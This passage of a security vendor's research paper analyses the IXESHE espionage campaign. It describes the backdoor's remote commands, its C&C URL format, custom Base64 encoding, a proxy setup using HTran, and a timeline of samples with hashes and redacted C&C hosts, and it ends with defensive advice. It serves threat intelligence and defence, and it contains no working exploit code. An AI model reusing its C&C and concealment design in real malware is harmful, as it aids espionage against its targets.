Once decoded, this blob reveals a standardized structure of the information sent to the registered CC server, which includes the following details: Computer name Local IP address Proxy server IP and port Malware ID To date, we have seen several custom Base64 alphabets, including: NO5RZaGHviIjhYq8b4ndQp012ySTcCDrs/xPgUz67F M3wemKfkJLBo9VtWXlEuA HZa4vjIiGndQp012yNO5RST/xPgUz67FMhYq8b3we mKfkJLBocCDrs9VtWXlEu j4vpGZaHnIdQi012yN/zPgUO5RSTx67FMhYb8q3we mKckJLBofCDrs9VtWXlEu p12kJLBofCDrs9VtWXlEuainyj4vdH0GZIQNO5RST/ zPgUx67FMhYb8q3wemKc aZHGviIj4ndQp012yNO5RST/xPgUz67FMhYq8b3we mKfkJLBocCDrs9VtWXlEu ZvQIajHi4ndGp012yNO5RST/xPgUz67FMhYq8b3we mKfkJLBocCDrs9VtWXlEu ZaGHviIj4ndQp012yNO5RST/xPgUz67FMhYq8b3we mKfkJLBocCDrs9VtWXlEu 4HIvZGjaiQdnp012yNO5RST/xPgUz67FMhYq8b3we mKfkJLBocCDrs9VtWXlEu pGIaHnZj0vdQi421yNO5RSY/zMgUx67KPhTb8q3we mFckBLJufWErs9VtCXlDo QpaZIivj4ndGH021yNO5RST/xPgUz67FMhYq8b3we mKfkJLBocCDrs9VtWXlEu pGZaHnIj4vdQi012yNO5RST/zPgUx67FMhYb8q3we mKckJLBofCDrs9VtWXlEu Some similarities exist across different versions of the Base64 alphabet, which indicates that these are most likely not completely randomly generated.
Instead, the attackers manually cut and pasted older versions after altering some parts.
The malware ID seems to be a campaign code with a different IP address for each attack.
Some of the campaign codes we have seen include: 19 [0222] [0713] [0802] [CR1008] [CR1031] [CZ0312] [CZ0913] [CZ0921] [LY]MAIL_20090923 [LY]MAIL_20091015 [LY]MAIL_20091208 [LY0406] [LY0420] [LY0816] [LY1207] [TL1109] [WH0827] [WH1122] [WL1013] [WZ1011] CRML_0505 CRML_MIL Firebox4 JUST_0525 JUST_JP_6080 KA_1016 KS_0602 KSX_0520 LY_ML0430_30m ly0610 MAIL_20091208 MAIL_JAP_0220 MAIL_JAP_0304 MAIL_JAP_0325 MAIL_JAP_0407 MAIL0524 manufact ML_20091223 ML0419._30m ML0623.LINK_10m ML0628 ML_20091216 ML_20091223 MW0629 OM222 sandbox sandbox4 sandbox6 success UNKNOWN wl0711 ZWJP_KS_1222 It appears that the numbers in the given campaign codes refer to dates when the campaigns were launched in MMDD format.
The letters are possibly related to the target industry or company.
iXESHE If the malware does not get a response from the CC server, it will choose another random number after the AWS part of the URL and try again.
Once connected, the malware specifically waits for the remote server to issue the following commands, which may vary from one version to another: del[parameter]: Allows a remote user to delete files.
disk[parameter]: Lists all available drives.
dos[parameter]: Allows a remote user to execute commands via cmd.exe.
get[parameter]: Allows a remote user to download a file from the remote server onto a local machine.
list[parameter]: Lists files on the victims machine.
ls[parameter]: Allows a remote user to display the contents of a directory.
kill[parameter]: Allows a remote user to terminate processes.
put[parameter]: Allows a remote user to upload a file from a local machine to a remote server.
rsh[parameter]: Similar to the sh or dos [parameter] except for the fact that this is an already-existing file or shell.
run[parameter]: Allows a remote user to execute programs.
sh[parameter]: Allows a remote user to execute commands via cmd.exe.
sleep[parameter]: Causes a system to sleep for a certain amount of time.
related aes campaign We have also been tracking another campaign, which we refer to as the AES campaign, which appears to be related to IXESHE.
The main body of the malware related to the IXESHE campaign can be identified by its connection to a CC server using a file such as AWS12345.jsp and a custom Base64 blob the malware associated with the AES campaign operates very similarly.
The samples used in the AES campaign slightly differed in terms of CC communication but had significant similarities with IXESHE malware, which used the format: http://[CC Server]/[ACD] ES[Some Numbers].jsp Even though the network traffic format of the AES campaign was slightly similar, instead of the more familiar AWS[random].jsp format, it used several other formats for certain commands or events such as: AES: Initial beacon.
DES: Send the path of systemdir.
PES: Send the result of the put command.
SEU: Send the error or invalid command.
SUS: Send the system name, which is not encoded, upon receiving the exit command.
ZES: Send the result of the dos command.
Another difference in the traffic is that AWS uses the POST method with the format, http://[CC Server]/FPK [Some Numbers].jsp?
[Base64 Blob], when the get command is invoked.
The Base64 blob contains the file specified in the get command.
Analysis of the binaries also revealed similarities between the AES and AWS samples.
These included the encoding algorithm and commands used.
Even though some commands varied, the format and parameters used essentially remained the same.
iXESHE CC INFRASTRUCTURE The majority of the IXESHE campaigns CC servers were based in Taiwan and the United States.
Figure 1.
Breakdown of CC servers by country iXESHE This is, however, not an indicator of attribution.
It is not possible to determine where the attackers are based solely on where their CC infrastructures are located.
In addition, not all of the CC servers are currently active.
Many, if not all of them, appear to be compromised machines.
In fact, at least 11 of the CC servers were hosted on the compromised machines of an East Asian government, which made these very useful for launching targeted attacks against it.
Most of the malware samples directly accessed an IP address as a CC server.
Connections to domains did exist in some cases.
The domains were usually registered using free dynamic DNS service providers or compromised websites.
Overall, this strategy was part of the attackers modus operandi.
By choosing compromised machines to act as CC servers, fewer clues were left for investigators to follow in an attempt to find out who is behind the attacks compared with those using bulletproof hosting services and registered domain names.
To conduct research on these servers, investigators need to differentiate between information related to malicious and legitimate use.
real cc location One very interesting error revealed more insights into the CC networks setup.
One of the malware samples we tested was designed to access xxx.xxawan.com via port 443, which, at that time, resolved to xx.xxx.114.87:443, a server located in the United States.
The sample, however, received the following error message from the server: [SERVER]connection to xx.xx.x2.202:56413 error This indicated that the front-end servers actually functioned as proxy servers and that the true CC servers were hidden behind this initial group of CC servers.
This made the network more resistant to takedown and analysis.
Due to a server error, however, the attackers revealed the location of one of their back-end servers.
We discovered that the IP address, xx.xx.x2.202, is located in Guangdong, China.
The particular error returned looked very similar to errors generated by a tool called HTran.10 HTran stands for HUC Packet Transmit Tool, a connection bouncer that redirects TCP traffic destined for one host to an alternate host, keeping the real host hidden from view.
HUC, in this case, stands for the hacking group, Honker Union of China.
It was coded by a hacker who goes by the handle lion.
This tools error-checking code, however, is flawed.
Assuming that everything properly works, the tool functions very well as a proxy server but if the real server is currently inaccessible, HTran will send an error message, revealing its whereabouts.
Running a port scan on this server revealed some open ports shown in the table below.
Port State Service 80/tcp Open HTTP 8080/tcp Open HTTP Alternative Based on OS fingerprinting, the server appears to be running Windows 7 Enterprise Server.
With only a few open ports, however, it was very difficult to confirm this.
In addition, we did not receive a response when we tried to connect to these ports.
10 http://www.secureworks.com/research/threats/htran/ http://www.secureworks.com/research/threats/htran/ iXESHE ATTRIBUTION AND UNIQUE FINGERPRINTS Previous research on the IXESHE campaign indicated several connections to groups possibly from China.
In addition, the IP address hiding behind the HTran instance was an IP range assigned to China.
Upon further investigation of the manufact campaign, however, it appears that the gang behind it may be English speakers.
The name of the campaign, for one, is most likely a shortened form of manufacturing.
The OS the CC server uses is also an English install of Microsoft XP.
It is also likely, of course, that the CC server is a compromised machine so it does not use the attackers first language.
The malware samples, which appear to have been developed using C, had a number of strings and error codes in English such as Enter command and Receive command error The date format used in the campaign codes (i.e., MMDD) also provided us a clue as to where the attackers may be from.
This date format is only commonly used in China, Korea, Iran, Japan, Hungary, Lithuania, and the United States.
Based on the limited amount of information we gathered about the attackers, it was very difficult to pinpoint their exact location.
unique fingerprints and modus operandi An attack can be considered associated with the gang behind the IXESHE campaign if it exhibits the following characteristics: Uses a specially crafted targeted email with a malicious file attachment Uses document exploits, primarily .PDF files, to drop malware into target systems Uses malware detected by security vendors as IXESHE variants Uses a malware that sends a GET request to the CC server in the following format: http://[CC Server]/[ACD] [EW]S[Some Numbers].jsp?
[Encrypted Base64 Blob] Uses dynamic DNS services for or compromised machines as CC servers iXESHE RELATIONSHIPS BETWEEN ATTACK COMPONENTS Figure 2.
IXESHE targeted campaign 1 Figure 3.
IXESHE targeted campaign 2 iXESHE Figure 4.
IXESHE targeted campaign 3 iXESHE Figure 5.
IXESHE targeted campaign 4 Fi gu re 6 .
I X ES H E ta rg et ed c am pa ig n  5 PA G E 11  iX E S H E iXESHE TIMELINE This section lists known incidents exhibiting the same threat actor behaviors and so may be from the same group behind IXESHE dating to as far back as July 2009.
With the exception of the samples described in ContagioDump, the dates for other samples refer to when the respective sandboxes saw them for the first time.
As such, these dates should be considered at least by and not the actual date of the attack.
15 October 2009 PDF name/Subject hook: MD5: 16a9f340c0d353332ba6f525376c93e1 CC: xxxxxupsenter.byinter.net Info: http://contagiodump.blogspot.com/2009/12/ oct-15-2009-attack-of-day-development.html Campaign code: [LY]MAIL_20091015 18 December 2009 PDF name/Subject hook:  PO  MD5: 8950bbedf4a7f1d518e859f9800f9347 CC: xxxxxfo.athersite.com Info: http://contagiodump.blogspot.com/2009/12/ dec-18-adobe-0-day-cve-2009-4324-pdf.html Campaign code: ML_20091216 28 December 2009 PDF name/Subject hook: Consumer Welfare Table MD5: c61c231d93d3bd690dd04b6de7350abb CC: xxx.xx6.148.42 or xxx.xx6.202.49 Info: http://contagiodump.blogspot.com/2009/12/ dec-29-cve-2009-4324-adobe-0-day.html Campaign code: ML_20091223 26 April 2010 PDFname/Subjecthook: []   MD5: 58de08c1155a775b760049dff3f5abe4 CC: xxx.x.x5.26 Info: http://contagiodump.blogspot.com/2010/04/ apr-26-cve-2009-4324-w-low-detection.html Campaigncode: ML0419._30m 6 May 2010 PDFname/Subjecthook:  MD5: d80eb21cfe8ad1a710c8652b13f8b7ac CC: xxx.xx9.124.13 Info: http://contagiodump.blogspot.com/2010/05/ may-6-cve-2010-0188-pdf-birthday.html Campaigncode: LY_ML0430_30m 10 May 2010 XLSname/Subjecthook: 99  MD5: d4b98bda9c3ae0810a61f95863f4f81e CC: xxxxx.compreautos.com.br Info: http://contagiodump.blogspot.com/2010/06/ may-10-cve-2009-3129-xls-schedule-of.html Campaigncode: CRML_0505 8 June 2010 XLSname/Subjecthook:  MD5: 100cf902ac31766f7d8a521eeb6f8d68 CC: xxx.xx.187.130 Info: http://contagiodump.blogspot.com/2010/06/ jun-8-cve-2009-4324-korean-peninsula.html Campaigncode: MAIL0524 27 June 2010 PDFname/Subjecthook: Discussion on Cross- Strait Maritime Cooperation MD5: 6e14c7a424c2eef7f37810ff65650837 CC: xxx.xx.128.71 Info: http://contagiodump.blogspot.com/2010/07/ jun-27-cve-2009-0927-pdf-discussion-on.html Campaigncode: ML0628 1 July 2010 PDFname/Subjecthook:  MD5: 949265ee1d3e587152a23311a85b3be9 CC: xxx.xx.128.71 Info: http://contagiodump.blogspot.com/2010/07/ jul-01-cve-2009-4324-results-of-press.html Campaigncode: ML0628 http://contagiodump.blogspot.com/2009/12/oct-15-2009-attack-of-day-development.html http://contagiodump.blogspot.com/2009/12/oct-15-2009-attack-of-day-development.html http://contagiodump.blogspot.com/2009/12/dec-18-adobe-0-day-cve-2009-4324-pdf.html http://contagiodump.blogspot.com/2009/12/dec-18-adobe-0-day-cve-2009-4324-pdf.html http://contagiodump.blogspot.com/2009/12/dec-29-cve-2009-4324-adobe-0-day.html http://contagiodump.blogspot.com/2009/12/dec-29-cve-2009-4324-adobe-0-day.html http://contagiodump.blogspot.com/2010/04/apr-26-cve-2009-4324-w-low-detection.html http://contagiodump.blogspot.com/2010/04/apr-26-cve-2009-4324-w-low-detection.html http://contagiodump.blogspot.com/2010/05/may-6-cve-2010-0188-pdf-birthday.html http://contagiodump.blogspot.com/2010/05/may-6-cve-2010-0188-pdf-birthday.html http://contagiodump.blogspot.com/2010/06/may-10-cve-2009-3129-xls-schedule-of.html http://contagiodump.blogspot.com/2010/06/may-10-cve-2009-3129-xls-schedule-of.html http://contagiodump.blogspot.com/2010/06/jun-8-cve-2009-4324-korean-peninsula.html http://contagiodump.blogspot.com/2010/06/jun-8-cve-2009-4324-korean-peninsula.html http://contagiodump.blogspot.com/2010/07/jun-27-cve-2009-0927-pdf-discussion-on.html http://contagiodump.blogspot.com/2010/07/jun-27-cve-2009-0927-pdf-discussion-on.html http://contagiodump.blogspot.com/2010/07/jul-01-cve-2009-4324-results-of-press.html http://contagiodump.blogspot.com/2010/07/jul-01-cve-2009-4324-results-of-press.html iXESHE 28 July 2010 PDFname/Subjecthook: Summary of Network Intelligence MD5: 738af108a6edd46536492b1782589a04 CC: xxx.xx6.54.189 Info: http://contagiodump.blogspot.com/2010/08/ jul-28-cve-2009-4324-pdf-990729-romance.html Campaigncode: [0713] 16 August 2010 PDFname/Subjecthook: Communist China Removes Missiles MD5: 6227e1594775773a182e1b631db5f6bb CC: xxxxxck.dnsrd.com or xxx.xx6.34.94 (appears to be a compromised computer of an East Asian university) Info: http://contagiodump.blogspot.com/2010/08/ cve-2009-4324-cve-2010-1297-communist.html Campaigncode: [0802] 17 August 2010 PDFname/Subjecthook: [Unknown] MD5: 36ee61663fc41496642850c4293fed01 CC: xxxxxck.dnsrd.com or xxx.xx6.34.94 (appears to be a compromised computer of an East Asian university) Info: http://www.threatexpert.com/report.aspx?md 536ee61663fc41496642850c4293fed01 Campaigncode: [0802] 27 September 2010 PDFname/Subjecthook: [Unknown] MD5: 313158192d4442013f7bedeb9def01ec CC: xx.xx.x3.102 Info: http://www.threatexpert.com/report.aspx?md 5313158192d4442013f7bedeb9def01ec Campaigncode: [WH0827] 22 February 2011 PDFname/Subjecthook: [Unknown] MD5: cd0eb6634ea684313389ddce553a6130 CC: xxx.xx.228.58 Info: http://xml.ssdsandbox.net/view/ cd0eb6634ea684313389ddce553a6130 Campaigncode: [0222] 17 March 2011 XLSname/Subjecthook: Japan Nuclear Radiation Leakage and Vulnerability Analysis MD5: 7ca4ab177f480503653702b33366111f CC: xx.xxx.114.44 Info: http://contagiodump.blogspot.com/2011/03/ cve-2011-0609-adobe-flash-player.html Campaigncode: OM222 10 April 2011 PDFname/Subjecthook: [Unknown] MD5: 711542d883f8fca4aeac62ee1b7df6ca CC: xx.xx.x0.244 Info: http://www.threatexpert.com/report.aspx?md 5711542d883f8fca4aeac62ee1b7df6ca Campaigncode: [LY0406] 20 April 2011 PDFname/Subjecthook: Chinas Charm Diplomacy in BRICS Summit MD5: ae39b747e4fe72dce6e5cdc6d0314c02 CC: xx.xx.x9.165 Info: http://contagiodump.blogspot.com/2011/04/ apr-20-cve-2011-0611-pdf-swf-chinas.html Campaigncode: [Removed due to privacy concerns] 20 April 2011 PDFname/Subjecthook: The Obama Administration and the Middle East MD5: 2368a8f55ee78d844896f05f94866b07 CC: xx.xx.x9.165 Info: http://contagiodump.blogspot.com/2011/04/ apr-20-cve-2011-0611-pdf-swf-chinas.html Campaigncode: Removed due to privacy concerns] 20 April 2011 PDFname/Subjecthook: Russias profit from general NATO disunity MD5: 4065b98fdcb17a081759061306239c8b CC: xx.xx.x9.165 Info: http://contagiodump.blogspot.com/2011/04/ apr-20-cve-2011-0611-pdf-swf-chinas.html Campaigncode: [Removed due to privacy concerns] 22 April 2011 PDFname/Subjecthook: Marshall Plan for the North Africa MD5: 6d5fb801b890bfa7cc737c018e87e456 CC: xx.xx.x9.165 Info: http://contagiodump.blogspot.com/2011/04/ apr-22-cve-2011-0611-pdf-swf-marshall.html Campaigncode: [Removed due to privacy concerns] http://contagiodump.blogspot.com/2010/08/jul-28-cve-2009-4324-pdf-990729-romance.html http://contagiodump.blogspot.com/2010/08/jul-28-cve-2009-4324-pdf-990729-romance.html http://contagiodump.blogspot.com/2010/08/cve-2009-4324-cve-2010-1297-communist.html http://contagiodump.blogspot.com/2010/08/cve-2009-4324-cve-2010-1297-communist.html http://www.threatexpert.com/report.aspx?md536ee61663fc41496642850c4293fed01 http://www.threatexpert.com/report.aspx?md536ee61663fc41496642850c4293fed01 http://www.threatexpert.com/report.aspx?md5313158192d4442013f7bedeb9def01ec http://www.threatexpert.com/report.aspx?md5313158192d4442013f7bedeb9def01ec http://xml.ssdsandbox.net/view/cd0eb6634ea684313389ddce553a6130 http://xml.ssdsandbox.net/view/cd0eb6634ea684313389ddce553a6130 http://www.threatexpert.com/report.aspx?md5711542d883f8fca4aeac62ee1b7df6ca http://www.threatexpert.com/report.aspx?md5711542d883f8fca4aeac62ee1b7df6ca http://contagiodump.blogspot.com/2011/04/apr-20-cve-2011-0611-pdf-swf-chinas.html http://contagiodump.blogspot.com/2011/04/apr-20-cve-2011-0611-pdf-swf-chinas.html http://contagiodump.blogspot.com/2011/04/apr-20-cve-2011-0611-pdf-swf-chinas.html http://contagiodump.blogspot.com/2011/04/apr-20-cve-2011-0611-pdf-swf-chinas.html http://contagiodump.blogspot.com/2011/04/apr-20-cve-2011-0611-pdf-swf-chinas.html http://contagiodump.blogspot.com/2011/04/apr-20-cve-2011-0611-pdf-swf-chinas.html http://contagiodump.blogspot.com/2011/04/apr-22-cve-2011-0611-pdf-swf-marshall.html http://contagiodump.blogspot.com/2011/04/apr-22-cve-2011-0611-pdf-swf-marshall.html iXESHE 28 April 2011 PDFname/Subjecthook: [Unknown] MD5: 14bf72167b4e801da205ecf9c0c55f9b CC: xx.xx.x33.2 Info: http://xml.ssdsandbox.net/view/14bf72167b4e 801da205ecf9c0c55f9b Campaigncode: [LY0420] 1 June 2011 PDFname/Subjecthook: [Unknown] MD5: 6ee4e08e6ab51208757fdc41d0e72846 CC: xxxxxain.qpoe.com Info: http://www.threatexpert.com/report.aspx?md 56ee4e08e6ab51208757fdc41d0e72846 Campaigncode: [LY]MAIL_20090923 9 June 2011 PDFname/Subjecthook: [Unknown] MD5: 10f193f825ada183fcfd067434ca269e CC: xxxxxfo.
AtHerSite.com Info: http://www.threatexpert.com/report.aspx?md 510f193f825ada183fcfd067434ca269e Campaigncode: [LY]MAIL_20091208 21 September 2011 PDFname/Subjecthook: [Unknown] MD5: 32522cdc17a145486e26f35bdd524e7e CC: xxx.xx0.139.67 Info: http://www.threatexpert.com/report.aspx?md 532522cdc17a145486e26f35bdd524e7e Campaigncode: [LY0816] 12 October 2011 PDFname/Subjecthook: [Unknown] MD5: 8718ab5c1683a69c4e6092fdcb32cfa2 CC: xxx.xx0.63.1 Info: http://www.malware-control.com/statics-page s/8718ab5c1683a69c4e6092fdcb32cfa2.php Campaigncode: [CZ0921] 19 October 2011 PDFname/Subjecthook: [Unknown] MD5: 80dad66d6224d18babd9ada4a26aee75 CC: xx.xxx.21.41 or king.pirat3.com Info: http://xml.ssdsandbox.net/view/80dad66d62 24d18babd9ada4a26aee75 Campaigncode: [WZ1011] 26 October 2011 PDFname/Subjecthook: The Future Redefined 2011 AOEC CEO Summit MD5: 3d91d9df315ffeb9bb1c774452b3114b CC: xxx.xxawan.com or xxx.xx4.230.120 Info: http://www.kahusecurity.com/2011/apec- spearphish-2/ Campaigncode: 19 3 November 2011 PDFname/Subjecthook: [Unknown] MD5: E25DBA0556124D7874D8416DE291CFE2 CC: xxxxxfo.sdti.tw or xxx.xx2.246.110 Info: http://www.threatexpert.com/report.aspx?md 5e25dba0556124d7874d8416de291cfe2 Campaigncode: [CR1031] 15 November 2011 PDFname/Subjecthook: [Unknown] MD5: 829b78f1d1e74c2c5343a0aebb51f519 CC: xxxxxaga.chickenkiller.com Info: http://www.threatexpert.com/report.aspx?md 5829b78f1d1e74c2c5343a0aebb51f519 Campaigncode: [TL1109] 22 November 2011 PDFname/Subjecthook: [Unknown] MD5: c4a05230a898d91b30c88d52b3f069b3 CC: xxx.xx6.54.150 or xxxxx.
ItemDB.com Info: http://www.threatexpert.com/report.aspx?md 5c4a05230a898d91b30c88d52b3f069b3 Campaigncode: [WH1122] http://xml.ssdsandbox.net/view/14bf72167b4e801da205ecf9c0c55f9b http://xml.ssdsandbox.net/view/14bf72167b4e801da205ecf9c0c55f9b http://www.threatexpert.com/report.aspx?md56ee4e08e6ab51208757fdc41d0e72846 http://www.threatexpert.com/report.aspx?md56ee4e08e6ab51208757fdc41d0e72846 http://www.threatexpert.com/report.aspx?md510f193f825ada183fcfd067434ca269e http://www.threatexpert.com/report.aspx?md510f193f825ada183fcfd067434ca269e http://www.threatexpert.com/report.aspx?md532522cdc17a145486e26f35bdd524e7e http://www.threatexpert.com/report.aspx?md532522cdc17a145486e26f35bdd524e7e http://www.malware-control.com/statics-pages/8718ab5c1683a69c4e6092fdcb32cfa2.php http://www.malware-control.com/statics-pages/8718ab5c1683a69c4e6092fdcb32cfa2.php http://xml.ssdsandbox.net/view/80dad66d6224d18babd9ada4a26aee75 http://xml.ssdsandbox.net/view/80dad66d6224d18babd9ada4a26aee75 http://www.kahusecurity.com/2011/apec-spearphish-2/ http://www.kahusecurity.com/2011/apec-spearphish-2/ http://www.threatexpert.com/report.aspx?md5e25dba0556124d7874d8416de291cfe2 http://www.threatexpert.com/report.aspx?md5e25dba0556124d7874d8416de291cfe2 http://www.threatexpert.com/report.aspx?md5829b78f1d1e74c2c5343a0aebb51f519 http://www.threatexpert.com/report.aspx?md5829b78f1d1e74c2c5343a0aebb51f519 http://www.threatexpert.com/report.aspx?md5c4a05230a898d91b30c88d52b3f069b3 http://www.threatexpert.com/report.aspx?md5c4a05230a898d91b30c88d52b3f069b3 iXESHE CONCLUSION The IXESHE campaign has been successfully executing targeted attacks since 2009.
The attackers primarily use malicious .PDF files that exploit vulnerabilities in Adobe Reader, Acrobat, and Flash Player, including the use of two zero-day exploitsone in 2009 and another in 2011.
While the attackers primarily targeted East Asian governments in the past, they have also started targeting a telecommunications company and electronics manufacturers.
They kept track of their targeted attacks by embedding a campaign tag in the malware that appears to describe when each attack was launched and, in some cases, the nature of its target.
We found more than 40 of these campaign tags.
The IXESHE attackers are notable for their use of compromised machines within a targets internal network as CC servers.
This helped disguise their activities.
In addition, the attackers use of the proxy tool, HTran, also helped mask their true location.
While their identities remain unknown, the attackers behind the IXESHE campaign demonstrated that they were both determined and capable.
While the malware used in the attacks were not very complicated by nature, these proved very effective.
This campaign remains an active threat.
DEFENDING AGAINST APTS Sufficiently motivated threat actors can penetrate even networks that use moderately advanced security measures.
As such, apart from standard and relevant attack prevention measures and mechanisms such as solid patch management endpoint and network security firewall use and the like, enterprises should also focus on detecting and mitigating attacks.
Moreover, data loss prevention (DLP) strategies that identify the data an organization is protecting and take into account the context of data use should be employed.
local and external threat intelligence Threat intelligence refers to indicators that can be used to identify the tools, tactics, and procedures threat actors engaging in targeted attacks utilize.
Both external and local threat intelligence is crucial for developing the ability to detect attacks early.
The following are the core components of this defense strategy: Enhancedvisibility: Logs from endpoint, server, and network monitoring are an important and often underused resource that can be aggregated to provide a view of the activities within an organization that can be processed for anomalous behaviors that can indicate a targeted attack.
Integritychecks: In order to maintain persistence, malware will make modifications to the file system and registry.
Monitoring such changes can indicate the presence of malware.
Empoweringthehumananalyst: Humans are best positioned to identify anomalous behaviors when presented with a view of aggregated logs from across a network.
This information is used in conjunction with custom alerts based on the local and external threat intelligence available.
Technologies available today such as Deep Discovery provide visibility, insight, and control over networks to defend against targeted threats.11 Deep Discovery uniquely detects and identifies evasive threats in real time and provides in-depth analysis and actionable intelligence to prevent, discover, and reduce risks.
11 http://www.trendmicro.com/us/enterprise/security-risk-management/ deep-discovery/index.html http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/index.html http://www.trendmicro.com/us/enterprise/security-risk-management/deep-discovery/index.html iXESHE mitigation and cleanup strategy Once an attack is identified, the cleanup strategy should focus on the following objectives: Determine the attack vector and cut off communications with the CC server.
Determine the scope of the compromise.
Assess the damage by analyzing the data and forensic artifacts available on compromised machines.
Remediation should be applied soon afterward, which includes steps to fortify affected servers, machines, or devices into secure states, informed in part by how the compromised machines were infiltrated.
educating employees against social engineering Security-related policies and procedures combined with education and training programs are essential components of defense.
Traditional training methods can be fortified by simulations and exercises using real spear-phishing attempts sent to test employees.
Employees trained to expect targeted attacks are better positioned to report potential threats and constitute an important source of threat intelligence.
data-centric protection strategy The ultimate objective of targeted attacks is to acquire sensitive data.
As such, DLP strategies that focus on identifying and protecting confidential information are critical.
Enhanced data protection and visibility across an enterprise provides the ability to control access to sensitive data as well as monitor and log successful and unsuccessful attempts to access it.
Enhanced access control and logging capabilities allow security analysts to locate and investigate anomalies, respond to incidents, and initiate remediation strategies and damage assessment.
iXESHE TREND MICRO THREAT PROTECTION AGAINST IXESHE CAMPAIGN COMPONENTS The following table summarizes the Trend Micro solutions for the components of the IXESHE campaign.
Trend Micro recommends a comprehensive security risk management strategy that goes further than advanced protection to meet the real-time threat management requirements of dealing with targeted attacks.
Attack Component Protection Technology Trend Micro Solution Predetermined CC communication format: http://[CC Server]/ [ACD] [EW]S[Some Numbers].
jsp?
[Encrypted Base64 Blob] Web Reputation Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) TROJ_PIDIEF, BKDR_PROXY, TROJ_ DROPR, and TROJ_DEMTRANC variants File Reputation (Antivirus/Anti-malware) Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) CVE-2009-4324 CVE-2009-0927 CVE-2011-0609 CVE-2011-0611 CVE-2009-3129 Vulnerability Shielding/Virtual Patching Server (Deep Security) Endpoint (OfficeScan with Intrusion Defense Firewall Plug-In) For CVE-2009-4324: Rule 1004008 (Adobe Reader and Acrobat newplayer() JavaScript Method Code Execution) For CVE-2009-0927: Rule  1003405 (Adobe Acrobat JavaScript getIcon Method Buffer Overflow) For CVE-2011-0609: Rule 1004615 (Adobe Flash Player XLS Remote Code Execution) For CVE-2011-0611: Rule  1004647 (Restrict Microsoft Office File with Embedded SWF) For CVE-2009-3129: Rule 1003817 (Excel Featheader Record Memory Corruption Vulnerability) iXESHE Attack Component Protection Technology Trend Micro Solution xxx.x.x87.206 xxx.xx2.36.5 xxx.xx6.129.228 xxx.xx0.139.67 xxx.xx.39.184 xx.xxx.12.18 xxx.xxrver.us xxx.xxt-alice.de xxxxxbaby.mooo.com xxxxxlic.yahoobigdeals.com xx.xx.x1.252 xxx.xx.228.58 xxx.xx.183.86 xxx.xx.128.71 xxx.xx.13.148 xxx.xx5.243.44 xxx.xx2.216.5 xxx.xx.151.190 xxx.xx.63.113 xxx.xx.58.110 xxx.xx.111.151 xxx.xx6.54.150 xxx.xx4.230.120 xxx.xx0.139.67 xxx.xx2.246.110 xx.xxx.223.3 xx.xx.x3.102 xx.xx.x9.165 xx.xx.x0.244 xx.xx.x33.2 xxxxxa.2waky.com xxx.xxawan.com xxxxxmic.dyndns-wiki.com xxxxxain.qpoe.com xxx.xxrver.us xxxxxfo.
AtHerSite.com xxxxxem.passingg.as xxx.xxset.com xxxxx.dnset.com xxxx.xirat3.com xxxxxaga.chickenkiller.com xxxxx.otzo.com xxxxxck.dnsrd.com xxxxx.portrelay.com xxxxx.
FindHere.org Web, Domain, and IP Reputation Endpoint (Titanium, Worry-Free Business Security, OfficeScan) Server (Deep Security) Messaging (InterScan Messaging Security, ScanMail Suite for Microsoft Exchange) Network (Deep Discovery) Gateway (InterScan Web Security, InterScan Messaging Security) Mobile (Mobile Security) iXESHE May 2012      APT Campaign Quick Profile: IXESHE Advanced persistent threats (APTs) refer to a category of threats that aggressively pursue and compromise specific targets to maintain persistent presence within the victims network so they can move laterally and exfiltrate data.
Unlike indiscriminate cybercrime attacks, spam, web threats, and the like, APTs are much harder to detect because of the targeted nature of related components and techniques.
Also, while cybercrime focuses on stealing credit card and banking information to gain profit, APTs are better thought of as cyber espionage.
IXESHE FirstSeen Individual targeted attacks are not one-off attempts.
Attackers continually try to get inside the targets network.
The IXESHE campaign has been actively staging targeted attacks since at least July of 2009.
VictimsandTargets APT campaigns target specific industries or communities of interest in specific regions.
IXESHE has been found to target electronics manufacturers, a telecommunications company, and East Asian governments.
Operations First-stage computer intrusions often use social engineering.
Attackers custom-fit attacks to their targets.
IXESHE attacks used custom-fit targeted emails with PDF exploits for CVE-2009-4324, CVE-2009-0927, CVE-2011-0609, and CVE-2011-0611.
These were used to drop malicious executable files that gave the attackers complete control of their targets systems.
The attackers used either dynamic Domain Name System (DNS) or compromised servers hosted on networks that they previously successfully infiltrated.
PossibleIndicatorsofCompromise Attackers want to remain undetected as long as possible.
A key characteristic of these attacks is stealth.
Enters networks via a specially crafted, targeted email with a malicious file attachment Uses document exploits (primarily PDF exploits) to drop malware onto target systems Uses malware detected as IXESHE by security companies Sends a GET request to the command-and-control (CC) server with the format: http://[CC Server]/[ACD] [EW]S[Some Numbers].jsp?
[Encrypted Base64 Blob] The campaign codes we have seen so far are detailed in the Trend Micro research paper, IXESHE: An APT Campaign.
The characteristics highlighted in this APT campaign quick profile reflect the results of our investigation as of May 2012.
May 2012      APT Campaign Quick Profile: IXESHE Advanced persistent threats (APTs) refer to a category of threats that aggressively pursue and compromise specific targets to maintain persistent presence within the victims network so they can move laterally and exfiltrate data.
Unlike indiscriminate cybercrime attacks, spam, web threats, and the like, APTs are much harder to detect because of the targeted nature of related components and techniques.
Also, while cybercrime focuses on stealing credit card and banking information to gain profit, APTs are better thought of as cyber espionage.
IXESHE FirstSeen Individual targeted attacks are not one-off attempts.
Attackers continually try to get inside the targets network.
The IXESHE campaign has been actively staging targeted attacks since at least July of 2009.
VictimsandTargets APT campaigns target specific industries or communities of interest in specific regions.
IXESHE has been found to target electronics manufacturers, a German telecommunications company, and East Asian governments.
Operations First-stage computer intrusions often use social engineering.
Attackers custom-fit attacks to their targets.
IXESHE attacks used custom-fit targeted emails with PDF exploits for CVE-2009-4324, CVE-2009-0927, CVE-2011-0609, and CVE-2011-0611.
These were used to drop malicious executable files that gave the attackers complete control of their targets systems.
The attackers used either dynamic Domain Name System (DNS) or compromised servers hosted on networks that they previously successfully infiltrated.
PossibleIndicatorsofCompromise Attackers want to remain undetected as long as possible.
A key characteristic of these attacks is stealth.
